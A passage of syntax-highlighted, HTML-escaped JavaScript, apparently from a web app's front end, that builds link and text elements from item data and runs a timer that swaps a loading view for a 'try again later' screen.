&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;text_link&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;textWithLink&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;textWithLink&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;mb-16&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;textWithLink&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &amp;lt;a href=&quot;javascript:void(0)&quot; data-id=&quot;`&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a_id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&quot; onclick=&quot;linkoptionclick(this)&quot; class=&quot;link&quot;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a_text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;lt;/a&amp;gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;bottomsection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;textWithLink&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;link_text&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;linkwithText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;linkwithText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;link&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;mb-16&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;linkwithText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;data-id&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;linkwithText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;onclick&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;linkoptionclick(this)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;linkwithText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;textContent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a_text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;bottomsection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;linkwithText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;        
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;paragraph&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;paragraph&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;textContent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;bottomsection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;paragraph&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;link&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;linkOnly&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;linkOnly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;link&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;mb-16&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;linkOnly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;data-id&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;linkOnly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;onclick&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;linkoptionclick(this)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;linkOnly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;textContent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a_text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;linkOnly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;bottomsection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;linkOnly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;textOnly&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;textOnly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;mb-16&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;textOnly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;textContent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;bottomsection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;textOnly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;disconnecttimer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;showwedidnthearpopup&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;startdisconnecttimer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_tryagainlater&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contains&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;d-none&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;disconnecttimer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.loading-container&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;loading&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.sectioncontent&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;animation&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;hide-to-left 0.5s&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;classList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toggle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;d-none&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_tryagainlater&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#tryagainheader&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;display&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;block&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_tryagainlater&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#tryagain_withoutinternet&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;display&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;block&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span 